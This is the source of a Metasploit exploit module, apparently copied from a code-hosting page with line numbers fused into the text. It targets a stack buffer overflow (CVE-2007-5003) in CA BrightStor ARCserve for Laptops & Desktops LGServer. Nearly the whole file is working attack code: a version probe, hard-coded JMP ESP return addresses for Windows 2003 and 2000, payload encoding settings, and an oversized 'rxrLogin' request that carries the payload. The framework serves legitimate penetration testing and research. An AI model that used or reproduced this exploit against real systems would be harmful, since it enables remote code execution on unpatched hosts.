Path: blob/master/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup17for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could18overflow the buffer and execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-5003' ],24[ 'OSVDB', '41353' ],25[ 'BID', '24348' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 550,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll40[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll41],42'DisclosureDate' => '2007-06-06',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([ Opt::RPORT(1900) ])53end5455def check56connect5758sock.put("0000000019rxrGetServerVersion")59ver = sock.get_once6061disconnect6263if (ver and ver =~ /11\.1\.742/)64return Exploit::CheckCode::Appears65end6667return Exploit::CheckCode::Safe68end6970def exploit71connect7273buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')74buffer << payload.encoded + rand_text_alpha_upper(300)7576sploit = "0000018124" # Command Length Field77sploit << "rxrLogin" # RPC Command78sploit << "~~" # Constant Argument Delimiter79sploit << buffer # Argument8081print_status("Trying target #{target.name}...")82# One-shot overwrite...83sock.put(sploit)8485handler86disconnect87end88end899091